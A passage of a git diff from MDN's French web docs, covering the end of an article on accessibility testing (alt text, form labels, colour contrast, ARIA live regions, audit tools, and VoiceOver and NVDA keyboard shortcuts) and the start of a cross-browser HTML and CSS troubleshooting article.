    - Ici nous ajoutons un listener à l'objet document pour détecter quand une touche a été appuyée sur le clavier. Nous vérifions quelle touche a été pressée avec la propriété d'évènement d'objet keyCode ; si c'est le code de la touche qui retourne Entrée/Retour, on exécute la fonction stockée dans le onclick du bouton en utilisant document.activeElement.onclick(). activeElement nous donne l'élément courant qui est focalisé sur la page.
    5. -
- -
-

Note : Cette technique ne fonctionnera que si vous configurer vos propres gestionnaires d'évènement avec les propriétés de gestion d'évènement (par ex. onclick). addEventListener ne fonctionnera pas. C'est beaucoup de prises de tête pour construire la fonctionnalité de retour. Et il y a d'autres problèmes rattachés avec. Vaut mieux commencer par utiliser les bons éléments pour leurs buts initiaux.

-
- -

Les textes alternatifs

- -

Les textes alternatifs sont très importants pour l'accessibilité — si une personne a un trouble visuel ou auditif qui l'empêche de voir ou d'entendre un contenu, alors c'est un problème. Le texte alternatif le plus simple disponible est le modeste attribut alt, que nous devrions inclure dans toutes les images qui contiennent un contenu pertinent. Il peut contenir une description de l'image qui transmet clairement son sens et son contenu sur la page, pour être récupéré par un lecteur d'écran et lu à l'utilisateur.

- -
-

Note : Pour plus d'informations, lisez Text alternatives.

-
- -

L'oubli de texte alt peut être testé de bien des façons, par exemple en utilisant le {{anch("Auditing tools")}} d'accessibilité.

- -

Le texte alt est légèrement plus complexe pour du contenu vidéo ou audio. Il y a une manière de gérer l'affichage du texte (par ex. les sous-titres) et de les afficher quand la vidéo est jouée, sous le forme de l'élément {{htmlelement("track")}}, et du format WebVTT (voir Ajouter des légendes et des sous-titres à des vidéos HTML5 pour un tutoriel détaillé). La compatibilité entre navigateur pour cette fonction est assez bonne, mais si vous voulez fournir des textes alternatifs pour de l'audio ou supporter les vieux navigateurs, une simple transcription du texte présenté quelque part sur la page ou sur une page séparée peut être une bonne idée.

- -

Relations et contexte entre élément

- -

Il y a certaines caractéristiques et pratiques optimales en HTML conçues pour apporter du contexte et des relations entre des éléments lorsqu'aucune n'aurait autrement existé. Les trois exemples les plus courants sont les liens, les libellés de formulaire et les tableau de données.

- -

La solution pour les textes de type lien c'est que les personnes utilisant des lecteurs d'écran vont souvent utiliser une fonctionnalité commune avec laquelle ils vont récupérer une liste de tous les liens sur la page. Par exemple, une liste de lien libellés "cliquez ici", "cliquez ici", etc. est vraiment mauvaise pour l'accessibilité. Il est préférable pour les textes de type lien d'avoir du sens en contexte et hors contexte.

- -

Le suivant sur notre liste, l'élément de formulaire {{htmlelement("label")}} est une des fonctionnalités centrales qui nous permet de rendre les formulaires accessibles. Le problème avec les formulaires c'est que vous avez besoin de libellés pour dire quelle donnée doit être entrée dans chaque champs du formulaire. Chaque libellé doit être inclus dans un {{htmlelement("label")}} pour le relier clairement à son champs partenaire (chaque valeur de l'attribut for de <label> doit aller avec la valeur de l'id de l'élément du formulaire), et cela aura du sens même si le code source n'est pas totalement logique (ce qui pour être tout à fait juste devrait être fait).

- -
-

Note : Lisez Meaningful text labels, pour plus d'information à propos des textes de type lien et les libellés des formulaires.

-
- -

Pour terminer, un mot rapide sur les tableaux de données. Un tableau de données basique peut être écrit avec des indications très simples (voir bad-table.html en direct, et la source), mais il y a des problèmes — il n'y a aucun moyen pour un utilisateur de lecteur d'écran d'associer des lignes ou des colonnes ensembles comme un groupe de données — pour faire cela vous devez connaître les lignes d'en-têtes, et si elles se dirigent en lignes, colonnes, etc. Cela ne peut être fait qu'en visuel pour un tel tableau.

- -

Si vous regardez plutôt notre exemple punk-band-complete.html (direct, source), vous pouvez voir plusieurs aides à l'accessibilité en place, comme les entêtes de tableau ({{htmlelement("th")}} et les attributs scope), l'élément {{htmlelement("caption")}}, etc.

- -
-

Note : Lisez Accessible data tables, pour plus d'information à propos des tableaux accessibles.

-
- -

CSS

- -

Le CSS tend à fournir beaucoup moins de caractéristiques fondamentales d'accessibilité que le HTML, mais il peut aussi faire beaucoup de dommage à l'accessibilité s'il est mal utilisé. Nous avons déjà mentionné quelques conseils sur l'accessibilité incluant le CSS :

- -
    -
  • Utilisez les éléments sémantiques correctes pour définir différent contenu en HTML ; si vous voulez créer un effet visuel différent, utilisez le CSS — n'abusez pas d'un élément HTML pour obtenir l'aspect que vous désirez. Par exemple si vous voulez un texte plus gros, utilisez {{cssxref("font-size")}}, par un élément {{htmlelement("h1")}}.
    • -
  • Assurez-vous que votre code source a du sens sans le CSS ; vous pouvez toujours utilisez le CSS pour styler autant que vous voudrez après.
    • -
  • Vous devez vous assurez que les éléments interactifs comme les boutons et les liens ont des états focus/hover/active appropriés configuré, pour donner à l'utilisateur un indice visuel de leur fonction. Si vous supprimez les styles par défaut pour des raisons stylistiques, assurez-vous de mettre en place des styles de remplacement.
    • -
- -

Il y a quelques autres considérations que vous devriez prendre en compte.

- -

Couleur et contraste

- -

Lorsque vous choisissez une palette de couleurs pour votre site web, vous devez vous assurer que la couleur du texte (au premier plan) contraste bien avec la couleur d'arrière-plan. Votre design peut avoir l'air cool, mais ce n'est pas bon si les personnes avec un handicap visuel comme le daltonisme ne peuvent pas lire votre contenu. Utilisez un outil comme le Color Contrast Checker de WebAIM si votre palette contraste suffisamment.

- -

Une autre astuce est de ne pas compter sur une couleur seule pour les indications/informations, comme ça ne sera pas bon pour ceux qui ne peuvent pas voir la couleur. Plutôt que de marquer en rouge les champs requis d'un formulaire, par exemple, marquez-les avec un astérisque et en rouge.

- -
-

Note : un contraste élevé permettra également à toute personnes utilisant un smartphone ou une tablette avec un écran brillant de mieux lire les pages dans un environnement lumineux, comme avec la lumière du soleil.

-
- -

Cacher du contenu

- -

Il y a plusieurs cas où un design visuel requerra que tout le contenu ne soit pas montré d'un seul coup. Par exemple, dans notre Exemple de boîte d'info avec onglets (voir le code source) nous avons trois panneau d'information, mais nous les positionnons les uns sur les autres et fournissons des onglets qui peuvent être cliqués pour montrer chacun d'entre eux (c'est aussi accessible au clavier — vous pouvez utiliser alternativement Tab et Entrée/Retour pour les sélectionner).

- -

- -

Les utilisateurs de lecteur d'écran ne se soucient pas vraiment de cela — ils sont satisfaits tant que le contenu a du sens dans le code source, et qu'ils peuvent entièrement y accéder. Le positionnement absolute (comme utilisé dans cet exemple) est souvent vu comme l'un des meilleur mécanismes pour cacher du contenu pour des effets visuels, parce que ça n'empêche pas les lecteur d'écran d'y accéder.

- -

D'un autre côté, vous ne devriez pas utiliser {{cssxref("visibility")}}:hidden ou {{cssxref("display")}}:none, parce qu'il cache le contenu aux lecteurs d'écran. A moins que, bien entendu, il y est une bonne raison qui justifie que ce contenu soit caché aux lecteurs d'écran.

- -
-

Note : Invisible Content Just for Screen Reader Users vous décrira beaucoup de détails utilesà propos de ce sujet.

-
- -

JavaScript

- -

Le JavaScript a le même type de problèmes que le CSS concernant l'accessibilité — cela peut être désastreux pour l'accessibilité si mal utilisé, ou trop utilisé. Nous avions déjà abordé quelques problèmes d'accessibilité en rapport avec le JavaScript, principalement dans le champ de la sémantique HTML — vous devez toujours utiliser une sémantique HTML appropriée pour implémenter une fonctionnalité qu'importe où elle est disponible, par exemple utiliser des liens et des boutons de façon appropriée. N'utilisez pas les éléments <div> avec du code JavaScript pour simuler une fonctionnalité si c'est possible — c'est une source d'erreur, et ça fonctionne mieux d'utiliser les fonctionnalités disponibles qu'HTML vous fournit.

- -

Fonctionnalité simple

- -

Normalement, une fonctionnalité simple doit marcher uniquement avec le HTML en place — le JavaScript ne doit pas être utilisé que pour améliorer la fonctionnalité, par pour la construire en entier. Les bons usages de JavaScript incluent :

- -
    -
  • Fournir une validation de formulaire côté client, qui informe rapidement les utilisateurs des problèmes avec leurs entrées dans le formulaire, sans qu'ils aient à attendre que le serveur vérifie les données. Si ça n'est pas disponible, le formulaire marchera toujours, mais la validation sera peut-être plus lente.
    • -
  • Fournir des contrôles personnalisés pour les <video>s HTML5 qui sont accessibles pour les utilisateurs uniquement au clavier (comme nous l'avons dit auparavant, les contrôles par défaut de navigateur ne sont pas accessibles au clavier dans la plupart des navigateurs).
    • -
- -
-

Note : Accessible JavaScript de WebAIM fourni des renseignements approfondis à propos des considérations pour du JavaScript accessible.

-
- -

Les implémentations JavaScript plus complexes peuvent mener à des problèmes avec l'accessibilité — vous devez faire ce que vous pouvez. par exemple, cela ne serait pas raisonnable d'attendre de vous que vous fassiez un jeu complexe 3D écrit avec WebGL accessible à 100% pour une personne aveugle, mais vous pouvez implémenter des contrôles clavier pour qu'il soit utilisable pour un utilisateur sans souris, et réaliser une palette de couleurs suffisamment contrastée pour être utilisable par les personnes avec des lacunes pour percevoir les couleurs.

- -

Fonctionnalité complexe

- -

L'un des domaines de problématique principal pour l'accessibilité c'est les applis complexes qui nécessitent des contrôles de formulaires compliqués (comme les sélecteurs de date) et le contenu dynamique qui se met souvent à jour et de façon incrémentale.

- -

Les contrôles de formulaire compliqués non natifs sont problématiques parce qu'ils ont tendance à nécessiter beaucoup de <div>s imbriquées, et le navigateur ne sait pas quoi faire par défaut avec elles. Si vous les inventer vous-même, vous devez vous assurer qu'ils sont accessibles par le clavier ; si vous utilisez des structures externes, revoyez en profondeur les options disponibles pour voir à quel point elles sont accessibles avant de vous plonger dedans. Bootstrap à l'air d'être assez bon pour l'accessibilité, par exemple, bien que Making Bootstrap a Little More Accessible de Rhiana Heath aborde certain de ses problèmes (principalement en rapport avec le contraste des couleurs), et examine certaines solutions.

- -

Le contenu dynamique régulièrement mis à jour peut-être un problème parce que les utilisateurs de lecteur d'écran peuvent le manquer, spécialement si les mises à jour sont inattendues. Si vous avez une appli en single-page avec un contenu principal dans un panneau qui est régulièrement mis à jour en utilisant XMLHttpRequest ou Fetch, un utilisateur utilisant un lecteur d'écran peut rater ces mises à jour.

- -

WAI-ARIA

- -

Avez-vous besoin d'utiliser une fonctionnalité complexe, ou à la place vous le faîte avec une bonne vieille sémantique HTML ? Si vous avez besoin de complexité, vous devriez songer à utiliser WAI-ARIA (Accessible Rich Internet Applications), une spécification qui fournit une sémantique (sous la forme des nouveaux attributs HTML) pour les objets comme les contrôles complexes de formulaire et les panneaux mis à jour qui peuvent être compris par la plupart des navigateurs et les lecteurs d'écran.

- -

Pour traiter avec les widgets complexes de formulaire, vous devez utiliser les attributs ARIA comme roles pour déclarer quel rôle les différents éléments on dans un widget (par exemple, est-ce qu'ils sont un onglet, ou un panneau ?), aria-disabled pour dire si un contrôle est désactivé ou pas, etc.

- -

Pour traiter avec les zones de contenu qui sont régulièrement mises à jour, vous pouvez utiliser l'attribut aria-live, qui identifie une zone mise à jour. Sa valeur indique avec quelle urgence le lecteur d'écran doit faire la lecture :

- -
    -
  • off : Par défaut. Les mises à jour ne seront pas annoncées.
    • -
  • polite : Les mises à jour sont annoncées seulement si l'utilisateur est inactif.
    • -
  • assertive : Les mises à jour sont annoncées à l'utilisateur aussi tôt que possible.
    • -
  • rude : Les mises à jour sont annoncées immédiatement, même si cela interrompt l'utilisateur.
    • -
- -

Voici un exemple :

- -
<p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p>
- -

Vous pouvez voir un exemple en action sur l'exemple ARIA (Accessible Rich Internet Applications) Live Regions de Freedom Scientific — le paragraphe surligné doit mettre à jour son contenu toutes les 10 secondes, et un lecteur d'écran doit le lire à l'utilisateur. ARIA Live Regions - Atomic apporte un autre exemple utile.

- -

Nous n'avons pas de place pour couvrir WAI-ARIA en détail ici, vous pouvez en apprendre beaucoup plus à ce propos sur WAI-ARIA basics.

- -

Les outils d'accessibilité

- -

Maintenant que nous avons couvers les considérations de l'accessibilité pour les différentes technologies web, incluant quelques techniques de test (comme la navigation au clavier et le vérificateur de contraste de couleur), tournons-nous maintenant vers d'autres outils que vous pouvez utiliser pour faire des tests d'accessibilité.

- -

Les outils d'audit

- -

Il y a plusieurs outils d'audit disponibles que vous pouvez placer sur vos pages web, lesquels les examinerons et retournerons une liste de problèmes d'accessibilité présents sur la page. A titre d'exemple :

- -
    -
  • Tenon : une assez bonne appli en ligne qui traverse le code à une URL fournie et qui retourne les résultats sur les erreurs d'acessibilité comprenant les indicateurs, ds erreurs spécifiques accompagnés des critères WCAG qu'elles affectent, et des suggestion de résolutions.
    • -
  • tota11y : Un outil d'accessibilité de la Khan Academy qui prend la forme d'une librairie JavaScript que vous attachez à votre page pour apporter plusieurs outils d'accessibilité.
    • -
  • Wave: Un autre outil en ligne de test d'accessibilité qui accepte une adresse web et retourne une utile vue annotée de la page avec les problèmes d'accessibilité surlignés.
    • -
- -

Observons un exemple, en utilisant Tenon.

- -
    -
  1. Aller sur la page d'accueil de Tenon.
    2. -
  2. Entrez l'URL de notre exemple de bad-semantics.html dans l'entrée texte en haut de la page (ou l'URL d'une autre page que vous aimeriez analyser) et appuyez sur Analyse your Webpage.
    3. -
  3. Défilez vers le bas jusqu'à que vous trouviez la section d'erreur/signalement, comme montré ci-dessous.
    4. -
- -

- -

Il y a également des options que vous pouvez examiner (voir le lien Show Options vers le haut de la page), ainsi qu'une API pour utiliser Tenon comme un programme.

- -
-

Note : De tels outils ne sont pas suffisant pour résoudre tous vos problèmes d'accessibilité en tant que tel. Vous devrez les combiner, savoir et expérience, test utilisateur, etc. pour vous faire une image exacte.

-
- -

Les outils d'automatisation

- -

Deque's aXe tool va un peu plus loin que les outils d'audit que nous avons mentionné plus haut. Comme les autres, il vérifie les pages et retourne des erreurs d'accessibilité. Sa forme immédiate la plus utile est sûrement son extension navigateur :

- - - -

Cela ajoute un onglet accessibilité aux outils de développeur du navigateur, nous avons installé la version pour Firefox, puis nous l'avons utilisé pour auditer notre exemple bad-table.html. Nous obtenons les résultats suivants :

- -

- -

aXe est également installable en utilisant npm, et peut-être intégré avec des exécuteurs de tâche comme Grunt et Gulp, des frameworks d'automatisation comme Selenium et Cucumber, des framework de test unitaire comme Jasmin, et d'autres encore (une fois encore, voir la page principale d'aXe pour plus de détails).

- -

Les lecteurs d'écran

- -

Il faut définitivement tester avec un lecteur d'écran pour s'habituer à comment les personnes malvoyantes utilisent le Web. Il y a plusieurs lecteurs d'écran disponible : 

- -
    -
  • Certain sont des produits commerciaux payants, comme JAWS (Windows) et Window Eyes (Windows).
    • -
  • Certains sont des produits gratuits, comme NVDA (Windows), ChromeVox (Chrome, Windows, et Mac OS X), et Orca (Linux).
    • -
  • Certains sont compris dans le système d'exploitation, comme like VoiceOver (Mac OS X et iOS), ChromeVox (sur les Chromebooks), et TalkBack (Android).
    • -
- -

La plupart du temps, les lecteurs d'écran sont des applis séparées, qui s'exécutent sur le système d'exploitation hôte et peuvent lire des pages web, mais aussi du texte dans d'autres appli. Ce n'est pas toujours le cas (ChromeVox est une extension navigateur), mais ça l'est souvent. Les lecteurs d'écran ont tendance à agir de manière légèrement différente et ont des contrôles différents, donc vous devrez consulter la documentation pour le lecteur d'écran que vous avez choisi pour obtenir tous les détails — cela dit, il fonctionne tous à peu près de la même manière.

- -

Commençons à effectuer quelques tests avec deux lecteurs d'écran différents pour vous donner une idée générale de comment ils fonctionnent et de comment tester avec eux.

- -
-

Note : Designing for Screen Reader Compatibility de WebAIM fournit des informations utiles à propos de l'utilisation des lecteurs d'écran et qu'est-ce qui est le plus efficace pour les lecteurs d'écran. Aller également voir Screen Reader User Survey #6 Results pour des statistiques intéressantes concernant l'utilisation de lecteur d'écran.

-
- -

VoiceOver

- -

VoiceOver (VO) est gratuit avec votre Mac/iPhone/iPad, donc c'est utile pour tester sur votre ordinateur/mobile si vous utilisez des produits Apple. Nous le testerons sur Mac OS X sur un MacBook Pro.

- -

Pour le démarrer, pressez Cmd + Fn + F5. Si vous n'avez jamais utilisé VO auparavant, vous obtiendrez un écran de bienvenue où vous pouvez choisir de démarrer VO ou de ne pas le démarrer, et vous parcourrez un tutoriel utile pour apprendre à comment l'utiliser. Pour l'arrêter, pressez Cmd + Fn + F5 à nouveau.

- -
-

Note : Vous devriez parcourir le tutoriel au moins une fois — il est vraiment très utile pour en apprendre à propos de VO.

-
- -

Lorsque VO est démarré, l'affichage ressemblera à peu près à cela, mais vous verrez une boîte noire en bas à gauche de l'écran qui contient l'information sur quoi est-ce que VO est actuellement sélectionné. La sélection courante sera également mise en avant, avec une bordure noire — cette mise en avant est connue comme le curseur VO.

- -

- -

Pour utiliser VO, vous aller beaucoup utiliser le "modificateur VO" — c'est une touche ou une combinaison de touches que vous devez presser en plus de l'actuel raccourci VO pour qu'elles fonctionnent. Utiliser un modificateur comme celui-ci est courant avec les lecteurs d'écran, pour leur permettre de garder leur propres commandes en évitant d'entrer en conflit avec d'autres commandes. Dans le cas de VO, le modificateur peut aussi être VerrMaj, ou Ctrl + Option.

- -

VO a beaucoup de commandes clavier, et nous n'allons pas toutes les lister ici. Les principales dont vous aurez besoin pour tester une page web sont dans le tableau suivant. Dans les raccourcis clavier, "VO" veut dire "le modificateur VoiceOver".

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-

Les raccourcis clavier VoiceOver les plus communs

-
Raccourci clavierDescription
VO + Touches du curseurDéplace le curseur VO vers le haut, la droite, le bas, la gauche.
VO + Barre espace -

Sélectionne/active les éléments mis en avant par le curseur VO. Cela inclut les items sélectionnés dans le Rotor (voir plus bas).

-
VO + Shift + curseur bas -

Se déplacer dans un groupe d'éléments (comme un tableau HTML, ou un formulaire, etc.) Une fois dans un groupe vous pouvez vous déplacer et sélectionner les éléments à l'intérieur de ce groupe en utilisant les commandes ci-dessus normalement.

-
VO + Shift + curseur hautSortir d'un groupe.
VO + C -

(à l'intérieur d'un tableau) lire l'entête de la colonne courante.

-
VO + R(à l'intérieur d'un tableau) lire l'entête de la ligne courante.
VO + C + C (deux C d'affilé)(à l'intérieur d'un tableau) lire toute la colonne courante, incluant l'entête.
VO + R + R (deux R d'affilé) -

(à l'intérieur d'un tableau) lire toute la ligne courante, incluant les entêtes qui correspondent à chacune des cellules.

-
VO + curseur gauche, VO + curseur droit(à l'intérieur d'options horizontales, comme un sélecteur de date ou de temps) Se déplacer entre les options
VO + curseur haut, VO + curseur bas(à l'intérieur d'options horizontales, comme un sélecteur de date ou de temps) Modifier l'option courante.
VO + U -

Utiliser le rotor, qui affiche des listes de rubriques, de liens, de contrôles de formulaires, etc. pour une navigation simplifiée.

-
VO + curseur gauche, VO + curseur droit -

(à l'intérieur du Rotor) Se déplacer ente les différentes listes disponibles dans le Rotor.

-
VO + curseur haut, VO + curseur bas -

(à l'intérieur du Rotor) Se déplacer entre les différents éléments dans la liste courante du Rotor.

-
Esc(à l'intérieur du Rotor) Sortir du Rotor.
Ctrl(Lorsque VO parle) Arrêter/Reprendre l'allocution.
VO + ZRelance la dernière partie de l'allocution.
VO + D -

Aller dans le Dock du Mac, pour que vous puissiez sélectionner des applis à exécuter.

-
- -

Cela peut paraître comme beaucoup de commandes, mais pas tant que ça que vous vous y habituez, et VO vous rappelle régulièrement quels commandes utiliser dans quels cas. Essayer de tester VO maintenant ; vous pouvez dorénavant essayer de tester certains de nos exemples dans la section {{anch("Screenreader testing")}}.

- -

NVDA

- -

NVDA est exclusif à Windows, et vous allez devoir l'installer.

- -
    -
  1. Téléchargez-le depuis nvaccess.org. Vous pouvez choisir si vous voulez faire une donation ou le télécharger gratuitement ; vous devrez également leur donner votre adresse e-mail avant de pouvoir le télécharger.
    2. -
  2. Une fois téléchargé, installez-le — double cliquez sur l'installeur, acceptez la licence et suivez les instructions.
    3. -
  3. Pour lancer NVDA, double cliquez sur fichier/raccourci du programme, ou utilisez le raccourci clavier Ctrl + Alt + N. Vous verrez la boîte de dialogue de bienvenue de NVDA lorsque vous le démarrez. Vous pouvez choisir ici différentes options, puis appuyez sur OK pour continuer.
    4. -
- -

NVDA sera maintenant actif sur votre ordinateur.

- -

Pour utiliser NVDA, vous aller beaucoup utiliser le "modificateur NVDA" — c'est une touche que vous devez presser en plus de l'actuel raccourci NVDA pour qu'elles fonctionnent. Utiliser un modificateur comme celui-ci est courant avec les lecteurs d'écran, pour leur permettre de garder leurs propres commandes en évitant d'entrer en conflit avec d'autres commandes. Dans le cas de NVDA, le modificateur peut aussi être Insert (par défaut), ou VerrMaj (peut être choisi en cochant la première case à cocher dans la boîte de dialogue de bienvenue avant d'appuyer sur OK).

- -
-

Note : NVDA est plus subtile que VoiceOver en termes de comment il met en valeur là où il est et qu'est-ce qu'il fait. Lorsque vous défilez à travers des rubriques, listes, etc. les éléments que vous sélectionnez seront généralement mis à avant avec un contour subtile, mais ça n'est pas toujours le cas pour toutes les choses. Si vous vous retrouvez complètement perdu, vous pouvez appuyer sur Ctrl + F5 pour rafraîchir la page courante et recommencer en haut de la page.

-
- -

NVDA a beaucoup de commandes clavier, et nous n'allons pas toutes les lister ici. Les principales dont vous aurez besoin pour tester une page web sont dans le tableau suivant. Dans les raccourcis clavier, "NVDA" veut dire "le modificateur NVDA".

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Les raccourcis clavier NVDA les plus communs
Raccourci clavierDescription
NVDA + Q -

Arrête NVDA après que vous l'ayez démarré.

-
NVDA + curseur hautLit la ligne courante.
NVDA + curseur basCommence à lire à la position courante.
curseur haut ou curseur bas, ou Shift + Tab et Tab -

Se déplace à l'élément suivant/précédent de la page et le lit.

-
curseur gauche et curseur droit -

Se déplace au caractère suivant/précédent dans l'élément courant et le lit.

-
Shift + H et H -

Se déplace au titre suivante/précédente et le lit.

-
Shift + K et K -

Se déplace au lien suivant/précédent et le lit.

-
Shift + D et D -

Se déplace au repère de document (par ex. <nav>) suivant/précédent et le lit.

-
Shift + 1–6 et 1–6 -

Se déplace au titre (niveau 1 à 6) suivant/précédent et le lit.

-
Shift + F et F -

Se déplace à l'entrée de formulaire suivante/précédente et se focalise dessus.

-
Shift + T et T -

Se déplace sur la donnée de tableau suivante/précédente et se focalise dessus.

-
Shift + B et B -

Se déplace sur le bouton suivant/précédent et lit son libellé.

-
Shift + L et L -

Se déplace à la liste suivante/précédente et lit son premier item de liste.

-
Shift + I et I -

Se déplace à l'item de liste suivant/précédent et le lit.

-
Entrée/Retour -

(quand un lien/bouton ou autre élément activable est sélectionné) Active l'élément.

-
NVDA + Barre espace -

(quand un formulaire est sélectionné) Entre dans le formulaire pour que les éléments puissent être sélectionnés individuellement, ou quitter le formulaire si vous êtes déjà dedans.

-
Shift Tab et Tab -

(à l'intérieur d'un formulaire) Se déplacer entre les entrées de formulaire.

-
Curseur haut et curseur bas -

(à l'intérieur d'un formulaire) Modifier les valeurs d'une entrée de formulaire (dans les cas comme les listes déroulantes)

-
Barre espace -

(à l'intérieur d'un formulaire) Sélectionner la valeur choisie.

-
Ctrl + Alt + touches fléchées(à l'intérieur d'un tableau) Se déplacer entre les cellules du tableau.
- -

Test avec lecteur d'écran

- -

Maintenant que vous vous êtes habitué à utiliser un lecteur d'écran, nous aimerions que vous vous habituiez à faire quelques tests d'accessibilité rapides, pour vous faire une idée de comment les lecteurs d'écran se débrouillent avec les bonnes et mauvaises caractéristiques d'une page web :

- -
    -
  • Regardez good-semantics.html, et notez comment les titres sont trouvés pas le lecteur d'écran et rendus disponibles pour être utilisés en navigation. Regardez maintenant bad-semantics.html, et observez comme le lecteur d'écran n'obtient aucune de ces informations. Imaginez à quel point cela peut être pénible lorsque vous essayez de naviguer sur une page de texte vraiment longue.
    • -
  • Regardez good-links.html, et notez comment est-ce qu'ils ont du sens vus hors contexte. Ce n'est pas le cas avec bad-links.html — ceux sont juste tous des "click here".
    • -
  • Regardez good-form.html, et regardez comment les entrées du formulaire sont décrites en utilisant leurs libellés parce que nous avons utilisé l'élément <label> correctement. Dans bad-form.html, ils ne sont que des "blank" sur toute la ligne, totalement inutiles.
    • -
  • Regardez notre exemple punk-bands-complete.html, et observez comment le lecteur d'écran est capable d'associer les colonnes et les lignes de contenu et de les lires toutes ensembles, parce que nous avons défini les entêtes correctement. Dans bad-table.html, aucune des cellules ne peut être associée du tout. Notez que NVDA a étonnamment l'air d'assez bien se comporter lorsque vous n'avez qu'un seul tableau sur une page ; à la place vous pouvez essayer WebAIM's table test page.
    • -
  • Jetez un œil à WAI-ARIA live regions example que nous avons vu plus tôt, et observez comment le lecteur d'écran va continuer de lire la section qui se met à constamment à jour dès qu'elle se met à jour.
    • -
- -

Test utilisateur

- -

Comme mentionné plus haut, vous ne pouvez pas uniquement compter sur les outils automatisés pour déterminer les problèmes d'accessibilité sur votre site. Il est recommandé que lorsque vous établissez votre plan de test, vous devez inclure quelques groupes d'utilisateur d'accessibilité si c'est possible (voir notre section Test Utilisateur plus tôt dans ce cours pour plus de contexte). Essayez d'inclure des utilisateurs de lecteur d'écran, des utilisateurs exclusifs au clavier, des utilisateurs malentendants, et peut-être d'autres groupes encore, selon vos besoins.

- -

Checklist de tests d'accessibilité

- -

La liste suivante vous fournit une checklist à suivre pour vous assurer de mener à bien les tests d'accessibilité recommandés pour votre projet :

- -
    -
  1. Assurez-vous que votre HTML est sémantiquement correct au possible. Le valider est un bon début, comme utiliser un outil d'Audit.
    2. -
  2. Vérifiez que votre contenu a du sens lorsque le CSS est désactivé.
    3. -
  3. Assurez-vous que votre fonctionnalité est accessible au clavier. Testez en utilisant Tab, Retour/Entrée, etc.
    4. -
  4. Assurez-vous que votre contenu non-textuel a un texte alternatif. Un Outil d'audit est bien pour repérer ce type de problèmes.
    5. -
  5. Assurez-vous que votre contraste de couleurs est acceptable, en utilisant un outil de vérification approprié.
    6. -
  6. Assurez-vous que le contenu caché est visible par les lecteurs d'écran.
    7. -
  7. Assurez-vous qu'une fonctionnalité est utilisable sans JavaScript autant que possible.
    8. -
  8. Utilisez ARIA pour améliorer l'accessibilité quand c'est approprié.
    9. -
  9. Exécutez votre site dans un Outil d'audit.
    10. -
  10. Testez avec un lecteur d'écran.
    11. -
  11. Incluez une politique/déclaration d'accessibilité à un endroit que l'on peut trouver sur votre site pour dire ce que vous avez fait.
    12. -
- -

Trouver de l'aide

- -

Il y a bien d'autres problèmes que vous allez rencontrer avec l'accessibilité ; la chose la plus importante à vraiment savoir est comment trouver des réponses en ligne. Consultez l'article la section Trouver de l'aide de l'article sur le HTML et le CSS pour des bonnes directions.

- -

Résumé

- -

Espérons que cet article vous aura donné des bonnes connaissances concernant les problèmes principaux d'accessibilité que vous pourrez rencontrer, et comment les tester et les surmonter.

- -

Dans le prochain article nous nous tournerons vers la fonctionnalité de détection dans plus de détail.

- -

{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}

- -

 

- -

Dans ce module

- - - -

 

diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html b/files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html new file mode 100644 index 0000000000..7b2a01fc95 --- /dev/null +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html @@ -0,0 +1,509 @@ +--- +title: Gérer les problèmes courants en HTML et CSS +slug: Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS +tags: + - Apprentissage + - CSS + - Débutant + - HTML + - Sélecteurs + - linting + - navigateur croisé + - test +translation_of: Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}}
+ +

Maintenant que les bases sont posées, nous allons nous concentrer sur les problèmes courants en navigateur croisé que vous allez rencontrer en code HTML et CSS, et quels outils peuvent être utilisés pour prévenir l'arrivée de ces problèmes, ou résoudre les problèmes qui surviennent. Cela inclut le linting code, la gestion des préfixes CSS, l'utilisation des outils de dev des navigateurs pour localiser les problèmes, utiliser des polyfills pour apporter du support dans les navigateurs, se confronter aux problèmes de responsive design et plus encore.

+ + + + + + + + + + + + +
Prérequis : +

Connaissances avec le noyau des langages HTML, CSS, et JavaScript ; une idée du haut niveau des principes du test en navigateur croisé.

+
Objectif : +

Etre capable de diagnostiquer des problèmes courants de CSS et de HTML en navigateur croisé, et utiliser les techniques et outils appropriés pour les réparer.

+
+ +

Les difficultés avec HTML et CSS

+ +

Certains des problèmes avec le HTML et le CSS viennent du fait qu'ils sont tous les deux des langages qui sont assez simples, et souvent les développeurs ne les considèrent pas sérieusement, en termes de s'assurer que le code est bien conçu, efficace, et qu'il décrit sémantiquement les but de la fonctionnalité sur la page. Dans les pires des cas, Javascript est utilisé pour générer tout le contenu et le style d'une page web, ce qui rend vos pages inaccessibles, et moins performantes (générer des éléments de DOM est coûteux). Dans d'autres cas, des fonctionnalités naissantes ne sont pas supportées constamment par tous les navigateurs, ce qui peut empêcher certaines fonctionnalités et styles de fonctionner pour certains utilisateurs. Les problèmes de responsive design sont également courant — un site qui paraît bien sur le navigateur d'un ordinateur de bureau pourra fournir une expérience horrible sur un appareil mobile, à cause du contenu qui est trop petit pour être lu, ou peut-être que le site sera lent à cause de animations coûteuses.

+ +

Commençons et regardons comment nous pouvons réduire les erreurs en navigateur croisé issues du HTML/CSS.

+ +

Commençons par le commencement : résoudre les problèmes généraux

+ +

Nous disions dans le premier article de cette série que c'était une bonne stratégie de commencer à tester sur une paire de navigateurs modernes sur desktop/mobile, afin de vous assurer que votre site fonctionne pour l'essentiel, avant de commencer à se concentrer sur les problèmes en navigateur croisé.

+ +

Dans nos articles Debugging HTML et Debugging CSS, nous avancions quelques conseils très basiques sur le débogage HTML/CSS — si vous ne maîtrisez pas ces bases, vous devriez sans aucun doute aller étudier ces articles avant de continuer.

+ +

